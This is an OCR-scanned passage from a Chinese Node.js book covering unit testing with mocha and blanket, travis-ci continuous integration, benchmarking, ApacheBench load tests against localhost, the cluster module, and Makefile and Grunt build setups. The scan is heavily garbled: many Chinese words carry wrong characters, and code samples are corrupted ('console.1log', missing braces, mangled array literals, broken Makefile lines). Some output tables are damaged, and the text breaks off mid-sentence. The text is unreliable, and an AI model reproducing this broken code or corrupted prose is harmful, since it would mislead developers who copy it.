@$(MAKE) test MOCHA _ OPTS='--require blanket' REPORTER=html-cov > coverage.html 


test-all: test test-cov 


.PHONY: test 


oO 


O 


开发 者 改动 代码 之 后 ， 只 需 通过 make test 和 make test-cov 命 令 即 可 执行 复 
杂 的 单元 测试 和 禾 盖 率 。 这 里 需要 注意 以 下 两 点 。 
Makefile 文 件 的 缩 进 必须 是 tab 符 号 ， 不 能 用 空格 。 
记得 在 包 摘 述 文件 中 配置 blanket 。 
持续 集成 
将 项 目 工 程 化 可 以 帮助 我 们 把 项 目 组 织 成 比较 固定 的 结构 ， 以 供 扩 
展 。 但 是 对 于 实际 的 项 目 而 言 ， 频 党 地 迭代 是 常见 的 状态 ， 如 何 记 
录 版 本 的 迭代 信息 ， 还 需要 一 个 持续 集成 的 环境 。 
至 于 如 何 持续 集成 ， 各 个 公司 都 有 自己 特定 的 方案 ， 这 里 介绍 一 下 
社区 中 比较 流行 的 方 式 一 一 利用 travis-ci 实 现 持 续集 成 。 
travis-ci 与 GitHub 的 配合 可 谓 相 得 益 朝 。GitHub 提 供 了 代码 托管 和 社 
交 编 程 的 良好 环境 ， 程 序 员 们 可 以 在 上 面 很 社交 化 地 进行 代码 的 
clone 、 fork 、 pull request 、 issues 等 操作 ， travis-ci 则 补足 了 GitHub 在 持 
续集 成 方面 的 缺点 。Git 版 本 控制 系统 提供 了 hook 机 制 ， 用 户 在 push 
代码 后 会 触发 一 个 hook 脚 本 ， 而 travis-ci 即 是 通过 这 种 方式 与 GitHub 
衔接 起 来 的 。 将 你 的 代码 与 travis-ci 链 接 起 来 十 分 容易 ， 只 需 如 下 几 
步 即 可 完成 。 
在 https:/travis-ci,org/ 上 通过 OAuth 授 权 绑 定 你 的 GitHub 账 号 。 
在 GitHub 仓 库 的 管理 面板 (admin) 中 打开 services hook 页 ， 在 这 
个 页 面 中 可 以 发 现 GitHub 上 提供 了 很 多 基于 sit hook 方式 的 钩子 服 


务 。 


找到 travis 服 务 ， 点 击 激活 即 可 。 

每 次 将 代码 push 到 GitHub 的 仓库 上 后 ， 将 会 触发 该 钧 子 服务 。 
除 此 之 外 ， 一 旦 绑 定 了 GitHub 之 后 ， 也 可 以 通过 travis-ci 的 管理 界面 
来 设置 哪些 代码 仓库 开启 持续 集成 服务 。 
travis-ci 除 了 提供 简单 的 语言 运行 时 环境 外 ， 还 提供 数据 库 服务 、 消 
息 队 列 、 无 界面 浏览 器 等 ， 十 分 强大 ， 值 得 深度 利用 。 需 要 注意 的 
一 点 是 ，travis-ci 是 基于 Ruby 创 建 的 项 目 ， 最 开始 是 为 Ruby 项 目 服 务 
的 ， 目 前 提供 了 许多 后 端 语言 的 测试 持续 集成 服务 ， 但 是 它 会 将 项 
日 默认 当做 Ruby 项 目 。 为 了 解决 该 问题 ， 需 要 在 自己 的 项 目 中 提供 
一 个 :travis.yml 说 明文 件 ， 告 之 travis-ci 是 哪 种 类 型 的 项 目 。Node 项 目 
的 说 明文 件 如 下 : 


language: node_js 
node_js 
四 ld 出 


其 中 主要 有 两 个 说 明 ，language 和 支持 的 版 本 号 。travis-ci 在 收 到 
GitHub 的 通知 后 ， 将 会 pull 最 新 的 代码 到 测试 机 中 ， 并 根据 该 配置 文 


件 准 备 对 应 的 环境 和 版 本 。 还 记得 第 2 对 中 所 到 的 scripts 描 述 么 ? 前 
面 blanket 的 配置 就 在 这 个 节点 上 。 这 里 travis- ci 将 会 执行 mm test 命 令 
来 启动 整个 测试 ， 而 前 面 提 到 的 mocha =R spec 或 make testTH 命令 应 当 配 置 在 
package.json 文 件 中 


re { 
"test": "make test" 


}, 


travis- i 提供 了 一 | 测 By 服务 。 | oo 上 ， 也 会 会 弟 看 到 此 
类 的 图 标 : EEE 或 者 红色 的 失败 图 村 EEE 。 
travis- a 提供 的 项 目 状态 服务 由 


https://travis-ci.org/<username>/<repo>.png?branch=<branch> 

该 图 标 能 够 实时 反映 出 项 目的 测试 状态 。passing 状 态 的 图 标 能 够 在 
使 用 者 调研 模块 时 增加 使 用 当前 模块 的 信心 。 

travis- 9 除了 提供 状态 服务 外 还 详细 记录 了 每 次 测试 的 详细 报告 和 
日 志 ， 通 过 这 些 信 息 我 们 可 以 追踪 项 目的 迭代 健康 状态 。 


10.1.4 小结 


年 这 一 
的 单元 测 
用 Web 框 架 
元 测试 的 


在 项 目 中 


忆 中 ， 我 们 介绍 了 普通 的 单元 测试 的 方方面面 ， 对 于 一 些 特定 场景 下 

试 方式 并 未 做 过 多 介绍 比如 测试 Web 应 用 等 ， 读 者 可 以 自行 查看 所 

2 Eh 比如 Connect 或 Express 提 供 了 supertest 辅 助 库 来 简化 单 
写 


双 常 会 因为 依赖 方 的 变化 而 产生 业务 代码 的 跟随 变动 ， 如 果 没 有 单 


元 测试 的 覆盖 ， 依 赖 方 逻 辑 发 生变 化 后 ， 很 难 定 位 该 变动 影响 的 范围 。 一 县 


为 项 目 覆 次 完善 的 单元 测试 ， 项 目的 状态 将 会 因为 测试 报告 而 了 然 于 心 。 完 


善 的 单元 


测试 在 一 定 程 度 上 也 昭示 着 项 目的 成 熟 度 


10.2 ”性 能 测试 

单元 测试 主要 用 于 检测 代码 的 行为 是 否 符合 预期 。 在 完成 代码 的 行为 
仿 测 后 ， 还 需要 对 已 有 代码 的 性 能 作出 评估 ， 检 测 已 有 功能 是 否 能 满 
足 生 产 环境 的 性 能 要 求 ， 能 和 否 承 担 实 际 业务 读 来 的 压力 。 换 名 话说 ， 
性 能 也 是 功能 。 

性 能 测试 的 范畴 比较 广泛 ， 包 括 负载 测试 、 压 力 测 试 和 基准 测试 等 。 
由 于 这 部 分 内 容 并 非 Node 特 有 ， 为 了 收敛 范畴 ， 这 里 将 只 会 简单 介绍 
下 基准 测试 。 

除了 基准 测试 ， 这 里 还 将 介绍 如 何 对 Web 应 用 进行 网 络 层 面 的 性 能 测 
试 和 业务 指标 的 换算 。 

10.2.1 基准 测试 

基本 上 ， 每 个 开发 者 都 具备 为 自己 的 代码 写 基准 测试 的 能 力 。 基 准 测 
试 要 统计 的 束 是 在 多 少时 间 内 执行 了 多 少 次 某 个 方法 。 为 了 增强 可 比 
一 般 会 以 次 数 作为 参照 物 ， 然 后 比较 时 间 ， 以 此 来 判别 性 能 的 差 
假如 我 们 要 测试 ECMAScript5 提 供 的 array.prototype.nap 和 循环 提取 值 两 
种 方式 ， 它 们 都 是 送 代 一 个 数组 ， 根 据 回调 范 数 执行 的 返回 值得 到 一 
个 狐 的 数组 ， 相 关 代 码 如 下 : 


var nativeMap = function (arr, callback) { 
return arr.map(callback); 


}; 


var customMap = function (arr, callback) { 
var ret = []; 
for (var i = 0; i < arr.length; i++) { 
ret.push(callback(arr[i], i, arr)); 


return ret; 


比较 简单 直接 的 方式 就 是 构造 相同 的 输入 数据 ， 然 后 执行 相同 的 次 
ee 比较 时 间 。 为 此 我 们 可 以 写 一 个 方法 来 执行 这 个 任务 ， 具 体 
中 不 : 


var run = function (name, times, fn, arr, callback) { 
var Start = (new Date()).getTime(); 
for (var i = 0; i < times; i++) { 
fn(arr, callback); 


var end = (new Date()).getTime(); 
console.1log('Running %s %d times cost %d ms', name, times, end - start); 


最 后 ， 分 别 调用 1 000 000 次 : 


var callback = function (item) { 
return item; 


}; 


run('nativeMap', 1000000, nativeMap, [0, 1, 
run('customMap', 1000000, customMap, [0, 1, 


得 到 的 结果 如 下 所 示 : 


Running nativeMap 1000000 times cost 873 ms 
Running customMap 1000000 times cost 122 ms 


在 我 的 机 右上 测试 结 采 显示 array.prototype.map 执 行 相同 的 任务 ， 要 花费 
for 循 环 方式 7 倍 左 右 的 时 间 。 

上 面 就 是 进行 基准 测试 的 基本 方法 。 为 了 得 到 更 规范 和 更 好 的 输出 结 
和 这 里 介绍 benchmark 这 个 模块 是 如 何 组 织 基准 测试 的 ， 相 关 代 码 如 


A 7 57. 6017 -Callback)s 
p32 .5.06 Callback)s 


var Benchmark = require('benchmark'); 
var suite = new Benchmark.Suite(); 


Var :arr =: [0y.. S22, 3, 5 61|} 
suite.add('nativeMap', function () { 
return arr.map(callback); 
}).add('customMap', function () { 
var ret = []; 
for (var i = 0; i < arr.length; i++) { 
ret.push(callback(arr[i])); 


return ret; 
}).on('cycle', function (event) { 
console.log(String(event.target)); 
}).on('complete', function() { 
console.log('Fastest is ' + this.filter('fastest').pluck('name')); 


}) .run(); 


ee 在 测试 套件 中 调用 aaa0) 来 添加 被 测试 的 
2 
执行 上 述 代 码 ， 得 到 的 输出 结果 如 下 : 


nativeMap x 1,227,341 ops/sec +1.99% (83 runs sampled) 
customMap x 7,919,649 ops/sec +0.57% (96 runs sampled) 
Fastest is customMap 


benchmark 模 块 输出 的 结果 与 我 们 用 普通 方式 进行 测试 多 出 +1.99% (83 runs 
sampled) 这 人 么 一 段 事实 上 ， benchmark 模 块 并 不 是 简单 地 统计 执行 多 少 次 
测试 代码 后 对 比 时 间 ， 它 对 测试 有 着 严密 的 抽样 过 程 。 执 行 多 少 次 方 
法 取决 于 采样 到 的 数据 能 否 完成 统计 。ss runs sampled 表 未 对 nativemap 测 


试 的 过 程 中 ， 有 83 个 样本 ， 然 后 我 们 根据 这 些 样本 ， 可 以 推算 出 标准 
方差 ， 即 :sex 这 部 分 数据 。 


10.2.2 ”压力 测试 

除了 可 以 对 基本 的 方法 进行 基准 测试 外 ， 通 常 还 会 对 网 络 接口 进行 压 
力 测试 以 判断 网 络 接口 的 性 能 ， 这 在 6.4 节 演示 过 。 对 网 络 接口 做 压力 
测试 需要 考查 的 几 个 指标 有 吞吐 率 、 响 应 时 间 和 并 发 数 ， 这 些 指标 反 
映 了 服务 器 的 并 发 处 理 能 力 。 

最 常用 的 工具 是 ab 、siege、http load 等 ， 下 面 我 们 通过 ab 工具 来 构造 压力 
测试 ， 相 关 代码 如 下 : 


$ab -c 10 -t 3 http://localhost:8001/ 

This is ApacheBench, Version 2.3 <$Revision: 655654 $> 

Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 
Licensed to The Apache Software Foundation, http://www.apache.org/ 


Benchmarking localhost (be patient) 
Completed 5000 requests 

Completed 10000 requests 

Finished 11573 requests 


Server Software: 


Server Hostname: localhost 

Server Port: 8001 

Document Path: / 

Document Length: 10240 bytes 

Concurrency Level: 10 

Time taken for tests: 3.000 seconds 

Complete requests: T1573 

Failed requests: 0 

Write errors: 0 

Total transferred : 119375495 bytes 

HTML transferred: 118507520 bytes 

Requests per Second : 3857.60 [#/sec] (mean ) 

Time per request: 2.592 [ms] (mean) 

Time per request: 0.259 [ms] (mean，across all concurrent requests) 
Transfer rate: 38858.59 [Kbytes/sec] received 


Connection Times (ms) 
min mean[+/-sd] median max 


Connect: 0 0 0.3 0 31 
Processing: 1 2 1.9 之 35 
Waiting : 0 之 1.9 2 35 
Total: 4 3 2.0 2 35 


Percentage of the requests served within a certain time (ms) 
50% 2 
66% 
75% 
80% 
90% 
95% 


OO mo wm 


98% 5 
99% 6 
100% 35 (longest request) 


上 述 命 令 表示 10 个 并 发 用 户 持续 3 秒 癌 服务 需 端 发 出 请 求 。 下 面条 要 介 
绍 上 述 代 码 中 各 个 参数 的 舍 义 。 


© Document Path: 表示 文档 的 路 径 ， 此 处 为 / © 

® Document Length: 表示 文档 的 长 度 ， 束 是 报 文 的 大 小 ， 这 里 有 
10KB 。 

@ Concurrency Level: 并 发 级 别 ， 就 是 我 们 在 命令 中 传 入 的 。， 此 处 
为 10， 即 10 个 并 发 。 

Tne Ta Io tses.: 表示 完成 所 有 测试 所 花费 的 时 间 ， 它 与 命 
令 行 中 传 入 的 t* 选 项 有 细微 出 入 。 


e Complete requests : 表示 在 这 次 测试 中 一 共 完 成 多 少 次 请 求 9 

。 Failed requests: 表示 其 中 产生 失败 的 请 求 数 ， 这 次 测试 中 没有 
失败 的 请 求 。 

® write re 表示 在 写 入 过 程 中 出 现 的 错误 次 数 (连接 断 开 导 
致 的 ) 。 


® Total transferred: 表示 所 有 的 报 文大 小 ° 
® HTML transferred: 表示 仪 HTTP 报 文 的 正文 大 小 ， Tae = 


小 。 

。 Requests per second: 这 是 我 们 重点 天 注 的 一 个 值 ， 它 表示 服务 
亏 每 秒 能 处 理 多 少 请 求 ， 是 重点 反映 服务 右 并 发 能 力 的 指 
标 。 这 个 值 又 称 RPS 或 QPS。 

。 两 个 Time per request 值 : 第 一 个 代表 的 是 用 户 平 均等 得 时 间 ， 
第 二 个 代表 的 是 服务 恬 平 均 请 求 处 理事 件 ， 前 者 除 以 并 发 数 
得 到 后 者 。 

。 Transfer rate: 表示 传输 率 ， 等 于 传输 的 大 小 除 以 传输 时 间 ， 
这 个 值 受 网 卡 的 带宽 限制 。 

® Sonneceuon Times: 连接 时 间 ， 它 包 括 客户 端 问 服务 器 端 建立 连 
接 、 服 务 絮 端 处 理 请 求 、 等 待 报 文 响应 的 过 程 。 


最 后 的 数据 是 请 求 的 啊 应 时 间 分 布 ， 这 个 数据 是 rine per request 的 实际 
分 布 。 可 以 看 到 ，50% 的 请 求 都 在 2ms 内 完成 ，99% 的 请 求 都 在 6ms 内 


返回 。 

另外 ， 需 要 说 明 的 是 ， 上 壕 测 试 是 在 我 的 笔记 本 上 进行 的 ， 我 的 笔记 
本 的 相关 配置 如 下 : 

处 理 器 2.4 GHz Intel Core i5 

内 存 8 GB 1333 MHz DDR3 


10.2.3 ”基准 测试 驱动 开发 

Felix Geisend?rfer 是 Node 早 期 的 一 个 代码 贡献 者 ， 同 时 也 是 一 些 优 秀 
模块 的 作者 ， 其 中 最 著名 的 为 他 的 几 个 MySQL 张 动 ， 以 追求 性 能 著 
称 。 他 在 “Faster than C2” 约 灯 片 中 提 到 了 一 种 他 所 使 用 的 开发 模式 ， 简 
称 也 是 BDD， 全 称 为 Benchmark Driven Development， 即 基准 测试 驱动 
开发 ， 其 中 主要 分 为 如 下 几 步 其 流程 图 如 图 10-9 所 示 。 


写 基准 测试 。 
写 / 改 代码 。 
收集 数据 。 
找 出 问题 。 
回 到 第 2 步 。 


OR a 


写 测 试用 例 写 / 改 代码 


测试 /收集 数据 


图 10-9 基准 测试 驱动 开发 的 流程 图 

之 前 测试 的 服务 器 端 脚 本 运行 在 单个 CPU 上 ， 为 了 验证 cluster 模 块 十 
否 有 效 ， 我 们 可 以 参照 Felix Geisend?rfer 的 方法 进行 迭代 。 通 过 上 面 的 
测试 ， 我 们 已 经 完成 了 一 过 上 述 流 程 。 接 下 来 ， 我 们 回 到 第 (2) 步 ， 看 
看 是 否 有 性 能 的 提升 。 

原始 代码 无 需 任 何 更 改 ， 下 面 我 们 新 增 一 个 cluster.js 文 件 ， 用 于 根据 机 
右上 的 CPU 数 量 局 动 多 进程 来 进行 服务 ， 相 关 代 码 如 下 : 


var cluster = require('cluster'); 


Cluster .SetupMaster(({ 
exec: "server.js" 

}); 

var cpus = require('os').cpus(); 

for (var i = 0; i < cpus.length; i++) { 
cluster.fork(); 


console.log('start ' + cpus.length + ' workers.'); 


接着 通过 如 下 代码 局 动 新 的 服务 : 


node cluster ,js 
Start 4 workers. 


然后 用 相同 的 参数 测试 ， 根 据 结 采 判 断 启 动 多 个 进程 是 否 是 行 之 
的 方法 。 测 试 结果 如 下 : 


$ ab -c 10 -t 3 http://localhost:8001/ 

This is ApacheBench, Version 2.3 <$Revision: 655654 $> 

Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ 
Licensed to The Apache Software Foundation, http://www.apache.org/ 


Benchmarking localhost (be patient) 
Completed 5000 requests 

Completed 10000 requests 

Finished 14145 requests 


Server Software: 


Server Hostname: localhost 

Server Port: 8001 

Document Path: / 

Document Length: 10240 bytes 

Concurrency Level: 10 

Time taken for tests: 3.010 seconds 

Complete requests: 14145 

Failed requests: 0 

Write errors: 0 

Total transferred : 145905675 bytes 

HTML transferred : 144844800 bytes 

Requests per second: 4699.53 [#/sec] (mean) 

Time per request: 2.128 [ms] (mean) 

Time per request: 0.213 [ms] (mean, across all concurrent requests) 
Transfer rate: 47339.54 [Kbytes/sec|] received 


Connection Times (ms) 
min mean[+/-sd] median max 


Connect: 0 0 0 ,5 0 61 
Processing: 0 2 558 1 2415 
Waiting : 0 2 5 1 2 下 5 
Total: 3 2 S38 2 5 


Percentage of the requests served within a certain time (ms) 


50% 2 
66% 2 
75% 2 
80% 2 


90% 3 
95% 3 
98% 4 


9% 5 
100% 215 (longest request) 


从 测试 结果 可 以 看 到 ，QPS 从 原来 的 3857.60 变 成 了 4699.53， 这 个 结果 
显示 性 能 并 没有 与 CPU 的 数量 成 线性 增长 ， 这 个 问题 我 们 暂 不 排查 ， 
但 它 已 经 验证 了 我 们 的 改动 确实 是 能 够 提升 性 能 的 。 

10.2.4 测试 数据 与 业务 数据 的 转换 

通常 ， 在 进行 实际 的 功能 开发 之 前 ， 我 们 需要 评估 业务 量 ， 以 便 功 能 
开发 完成 后 能 够 胜任 实际 的 在 线 业 务 量 。 如 果 用 户 量 只 有 几 个 ， 每 天 
的 PV 只 有 几 十 个 ， 那 么 网 站 开发 几乎 不 需要 什么 优化 就 能 胜任 。 如 果 
PV 上 10 万 甚至 百 万 、 千 万 ， 束 需要 运用 性 能 测试 来 验证 是 否 能 够 满足 
实际 业务 需求 ， 如 果 不 满足 ， 束 要 运用 各 种 优化 手段 提升 服务 能 力 。 
假设 某 个 页 面 每 天 的 访问 量 为 100 万 。 根 据 实际 业务 情况 ， 主 要 访问 量 
大 致 集中 在 10 个 小 时 以 内 ， 那 么 换算 公式 就 是 : 

QPS = PV / 10h 

100 万 的 业务 访问 量 换算 为 QPS， 约 等 于 27.7， 即 服务 器 需要 每 秒 处 理 
27.7 个 请 求 才 能 胜任 业务 量 。 


10.3 ”总 结 

测试 是 应 用 或 者 系统 最 重要 的 质量 保证 手段 。 有 单元 测试 实践 的 项 
目 ， 必 然 对 代码 的 粒度 和 层次 都 掌握 得 较 好 。 单 元 测试 能 够 保证 项 目 
每 个 局 部 的 正确 性 ， 也 能 够 在 项 目 迭 代 过 程 中 很 好 地 监督 和 反馈 迭代 
质量 。 如 果 没 有 单元 测试 ， 束 如 同 黑夜 里 没有 材 烛 的 行走 。 

对 于 性 能 ， 在 编码 过 程 中 一 定 存 在 部 分 感性 认 知 ， 与 实际 情况 有 部 分 
偏差 ， 而 性 能 测试 则 能 很 好 地 算 正 这 种 差异 。 


10.4 参考 资源 
本 章 参 考 的 资源 如 下 : 


。 http://nodejs.org/docs/latest/api/assert.html 
。 http://visionmedia.github.com/mocha/ 

。 https://github.com/visionmedia/should.js 

. https://github.com/fent/node-muk 

。 https://github.com/alex-seville/blanket 

。 http://about.travis-ci.org/docs/ 

。 https://github.com/JacksonTian/unittesting 


。 https://speakerdeck.com/felixge/faster-than-c-3 


第 11 章 产品 化 

Node 相 对 于 大 多 数 Web 技 术 还 算是 年 轻 的 ， 这 意味 着 没有 现成 和 成 熟 
的 框架 或 应 用 系统 可 以 直接 上 手 使 用 ， 商 业 化 还 处 于 关 牙 状态 。 反 过 
来 ， 这 也 能 让 开发 者 接触 到 较 多 的 底层 细节 ， 如 HITP 协 议 、 进 程 模 
型 、 服 务 模型 等 ， 这 些 底 层 原理 与 其 他 现 有 技术 并 无 实质 性 的 差别 。 
对 于 Node 开 发 者 而 言 ， 很 多 其 他 语言 走 过 的 路 需要 开发 者 溃 着 Node 特 
性 重新 去 践 行 一 过 。 这 并 不 是 坏事 ，Node 更 接近 底层 使 得 开发 者 对 于 
具体 细 厄 的 可 控 度 非常 高 。 

目前 ， 在 国内 大 多 数 人 都 将 Node 以 实验 性 质 的 方式 来 使 用 ， 国 外 已 经 
有 知名 的 项 目 将 Node 应 用 在 实际 的 生产 环境 中 ， 如 eBay 的 数据 中 间 
层 、Linkedin 移 动 应 用 的 服务 恬 端 等 。 本 章 将 详细 介绍 将 Node 产 品 化 
过 程 中 需要 注重 的 一 些 细 市 ， 这 些 细 广 其 实 是 具备 普 适 性 的 ， 并 非 
Node 所 独 有 。 鉴 于 部 分 Node 开 发 者 可 能 从 前 端 转 来 ， 为 了 完善 Node 生 
态 的 介绍 ， 所 以 添加 了 此 草 。 尽 管 因为 熟悉 JavaScript， 可 以 较 好 地 上 
手 Node， 但 是 事实 上 从 演示 原型 到 产品 还 有 较 长 的 颖 除 需 要 去 填补 。 
在 实际 的 产品 中 ， 需 要 很 多 非 编码 相关 的 工作 以 保证 项 目的 进展 和 产 
品 的 正常 运行 等 ， 这 些 细 世 包括 工程 化 、 架 构 、 容 灾 和 备份、 部 署 和 运 
维 等 。 只 有 这 些 任 务 在 持续 性 进行 ， 才 表明 项 目 是 活着 的 。 


11.1 项 目 工程 化 

所 谓 的 工程 化 ， 可 以 理解 为 项 目的 组 织 能 力 。 体 现在 文件 上 ， 就 是 文 
件 的 组 织 能 力 。 对 于 不 同类 型 的 项 上 日， 其 组 织 方式 也 有 所 不 同 。 除 此 
之 外 ， 还 应 当 有 外 g 够 将 整个 项 目 串联 起 来 的 灵魂 性 文件 。 

项 目的 组 织 束 犹如 行军 作战 的 阵 法 和 章法 ， 混 乱 而 无 目的 的 军队 几乎 
不 可 能 打 胜 仗 ， 有 其 形 、 有 其 魂 的 组 织 的 生命 周期 才 会 更 长 ， 其 形态 
才 更 稳固 。 

i 最 基本 的 几 步 是 目录 结构 、 构 建 工 具 、 编 码 规 
范 和 代码 审查 等 ， 下 面 逐 一 讲解 。 


11.1.1 目录 结构 

目前 ， 主 要 的 两 类 项 目 为 Web 应 用 和 模块 应 用 。 普 通 的 模块 应 用 遵循 
0 其 细节 可 参见 第 2 草 。 对 于 Web 应 
用 ,组织 方式 有 各 种 各 样 ， 但 是 只 要 遵循 单一 原则 即 可 。 常 见 的 Web 
应 用 都 是 以 MVC 为 主要 框架 的 ， 其 余部 分 在 这 个 基础 上 进行 扩展 。 下 
面 是 我 的 某 个 Web 应 用 项 目 : 


$ tree -L 2 


| 一 History.md // 项 目 改动 历史 
| 一 INSTALL .md // 安装 说 明 


一 benchmark // 基准 测试 
一 controllers // 控制 

| 一 Lib // 没有 模块 化 的 文件 目 导 
上 middlewares // 中 间 件 
| 一 package.json // 包 描 述 文 件 ， 项 目 依 赖 项 配置 等 
| 一 proxy // 数据 代理 目录 ， 类 似 MVC 中 的 M 

| 一 test // 测试 目录 

一 tools // 工 其 目 可 

| 一 views // 视图 目 己 
| 一 routes.js // 路 由 注册 表 
| 一 dispatch,js // 多 进程 管理 
| 一 README .md // 项 be 
| 一 assets // 静态 文件 
一 assets,json // 静态 文件 与 CDN 路 径 的 映射 文件 
| 一 bin // 可 执行 脚本 
| 一 config // 本 也 
| 一 1ogs // 日 志 目 5 
[一 app.js // FE 进程 


个 项 目 结构 将 各 种 功能 的 文件 分 门 别 类 地 归纳 到 目录 中 ， 其 中 包含 
闪 ; 通 的 MVC 约 定 CommonJS 和 模块 约定 以 及 一 些 自 有 约定 。 成 熟 一 点 的 
Web 应 用 框架 (如 Express) 还 提供 了 命 令 行 工具 来 初始 化 Web 应 用 ， 
为 开发 者 提供 了 一 个 较 好 的 起 点 。 


和 


在 实际 的 目录 中 ， 还 存在 node_modules 这 样 一 个 目录 ， 但 这 个 目录 通 
常 不 用 加 入 到 版 本 控制 中 。 在 部 署 项 目 时 ， 我 们 通过 npn install 命 令 安 
法 package.json 中 配置 的 依赖 文件 时 ， 会 目 动 生 成 这 个 目录 。 

11.1.2 构建 工具 

有 了 源 代码 项 目 ， 只 是 完成 了 第 一 步 。 要 想 真 正 能 用 上 源 代 码 ， 还 需 
要 一 定 的 操作 ， 这 些 操作 主要 有 合并 静态 文件 、 压 缩 文 件 大 小 、 打 包 
应 用 、 编 译 模块 等 。 如 采 每 次 都 手工 完成 这 些 操作 ， 效 率 会 比较 低 
下 。 为 了 市 约 资源 ， 此 类 工作 交 给 工具 来 完成 比较 合适 ， 而 构建 工具 
就 是 完成 此 类 需求 的 。 将 常用 操作 通过 构建 工具 配置 起 来 后 ， 后 续 只 
要 简单 的 命令 就 能 完成 大 部 分 工作 了 。 

目前 ， 在 Node 的 应 用 中 ， 主 流 的 构建 工具 还 是 老牌 的 make， 但 它 的 缺 
点 是 只 在 *nix 操 作 系 统 下 有 效 。 为 了 实现 器 平台，Grunt 应 运 而 生 。 
Grunt 通 过 Node 写 成 ， 借 助 Node 的 路 平台 能 力 ， 实 现 了 很 好 的 平台 兼 
容 性 。 下 面 简要 介绍 这 两 个 工具 。 


P; Makefile 


Makefile 文 件 是 *nix 系 统 下 经 典 的 构建 工具 。 除 了 Windows 系 
统 外 ， 其 他 系统 几乎 都 能 使 用 它 。 受 Makefile 影 响 的 还 有 
Ruby 的 Rakefile 和 Gemfile 等 。Makefile 文 件 通 常用 来 管理 一 些 
编译 相关 的 工作 。 以 下 为 经 典 的 3 行 构 建 代码 : 


$ ./configure 
$ make 
$ make install 


在 这 3 行 代 码 中 ， 有 两 行 命令 跟 Makefile 有 关 。 

在 Web 应 用 中 ， 通 常 也 会 在 Makefile 文 件 中 编写 一 些 构建 任务 
来 帮助 项 目 提升 效率 ， 比 如 静态 文件 的 合并 编译 、 应 用 打 
包 、 运 行 测试 、 清 理 目 录 、 扫 描 代 码 等 。 下 面 为 我 的 某 个 
Web 项 目的 Makefile 文 件 : 


TESTS = $(shell ls -S ‘find test -type f -name "*.js" -print ) 
TESTTIMEOUT = 5000 

MOCHA_OPTS = 

REPORTER = spec 


install: 
@$PYTHON= “which python2.6. NODE_ENV=test npm install 


test: 
Q@NODE_ENV=test ./node modules/mocha/bin/mocha 和 
--reporter $(REPORTER) \ 
--timeout $(TIMEOUT) \ 


$(MOCHA_OPTS) \ 
$(TESTS) 


test-cov: 
@$(MAKE) test REPORTER=dot 
@$ (MAKE) test MOCHA OPTS='--require blanket' REPORTER=html- 
cov > coverage.html 
@$(MAKE) test MOCHA _ OPTS='--require blanket' REPORTER=travis-cov 


reinstall: clean 
@$(MAKE) install 


clean: 
Q@rm -rf ./node_ modules 


build: 
@./bin/combo views . 


.PHONY: test test-cov clean install reinstall 


这 个 Makefile 文 件 将 测试 、 测 试 宪 盖 率 、 项 目 清理 、 依 赖 安 
装 等 整合 进 nake 命 令 。 将 Makefile 与 持续 集成 工具 或 发 布 工 具 
整合 起 来 将 会 让 开发 者 省 心 省 力 。 

Grunt 

Makefile 唯 一 的 缺陷 也 许 就 是 跨 平 台 问 题 了 ， 为 此 才 有 ant、 
rake 等 工具 的 出 现 。 在 Node 生 态 系统 中 ， 也 有 一 款 构建 工具 
解决 了 Makefile 无 法 跨 平 台 的 问题 Grunt。 

Grunt 用 Node 写 成 ， 能 够 同时 在 Windows 和 *nix 平 台 下 运行 。 
Grunt 结 合 NPM 的 包 依 赖 管理 ， 完 全 可 以 媲美 Java 世 界 的 
Maven 工 具 ， 同 时 它 又 如 Makefile 一 样 ， 能 够 用 来 构建 完善 的 
自动 化 任务 工具 。 它 的 设计 理念 与 Makefile 并 不 相同 : 
Makefile 依 托 强 大 的 bash 编 程 ，Grunt 则 依托 它 丰 宣 的 插件 ， 
Ee 口 用 于 插件 的 接 入 ， 具 体 的 任务 则 由 插件 
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Grunt 的 核心 插件 以 urunt-contrib- 开 头 ， 在 NPM 包 管理 平台 上 
可 以 找到 和 查看 。Grunt 提 供 了 3 个 模块 分 别 用 于 运行 时 、 初 
始 化 和 命令 行 ，grunt、grunt-init、grunt-cli。 后 面 两 个 模块 都 
可 以 作为 命令 行 工具 使 用 ， 安 装 时 带 -o 即 可。 

如 同 naxe 命 令 一 样 ，Grunt 也 会 在 项 目 目 录 中 提供 一 个 
Gruntfile.js 文 件 。 类 似 于 Makefile 文 件 的 任务 配置 ， 在 目录 下 
执行 grunt 命 令 会 去 读 取 该 文件 ， 然 后 解析 、 执 行 任 务 。 下 面 
是 某 个 模块 项 目的 Gruntfile.js 文 件 : 


module.exports = function(grunt) { 
grunt.loadNpmTasks('grunt-contrib-clean'); 


grunt. LoadNpmTasks( 'grunt-contrib-concat ' ) ; 
grunt. LoadNpmTasks("grunt-contrib-jshint”")， 
grunt.loadNpmTasks('grunt-contrib-uglify'); 
grunt.loadNpmTasks('grunt-replace' ); 


// Project configuration 
grunt.initConfig({ 
pkg: grunt.file.readJSON('package.json'), 
jshint: { 
all: { 
Src: [G6runtfile,.Js"y "sre/**/*.jJS'y ES AS |]; 
options: { 
jshintrc: "jshint.json" 
} 
} 
}, 


clean: ["1lib"], 
concat: { 
htmlhint: { 
src: ['src/core.js', 'src/reporter.js', 'src/htmlparser.js', 'src 
/rules/*.js'], 
dest: 'l1ib/htmlhint.js' 


} 
}, 
uglify: { 
htmlhint: { 
options: { 
banner: "/*!I\r\n * HTMLHInt V<%= pkg.version %>\r\n * 
https://github.com/yaniswang/HTMLHint\r\n *\r\n * (c) 2013 Ya 
nis Wang 
<yanis.wang@gmail.com>.\r\n * MIT Licensed\r\n */\n"™, 
beautify: { 
ascii_only: true 
} 
}, 
files: { 
'lib/<%= pkg.name %>.js': ['<%= concat.htmlhint.dest %>'] 
} 
} 
}, 
replace: { 
htmlhint: { 
files: { 'l1ib/htmlhint.js':'1ib/htmlhint.js'}, 
options: { 
prefix: '@'， 
variables: { 
'VERSION': '<%= pkg.version %>' 
} 
} 
} 
} 
}); 


grunt.registerTask('dev', ['jshint', 'concat"']); 
grunt.registerTask('default', ['jshint', 'clean', 'concat', 'uglify', 
replace']); 


了 


make 工 具 和 Grunt 各 有 所 长 ， 但 是 对 于 不 熟悉 bash 编 程 的 开发 
者 ，Grunt 则 宛如 救星 。 


11.1.3 ”编码 规范 

构建 了 恨 好 的 项 目 结构 后 ， 工 程 化 算是 有 了 一 个 不 错 的 开头 。 也 许 很 
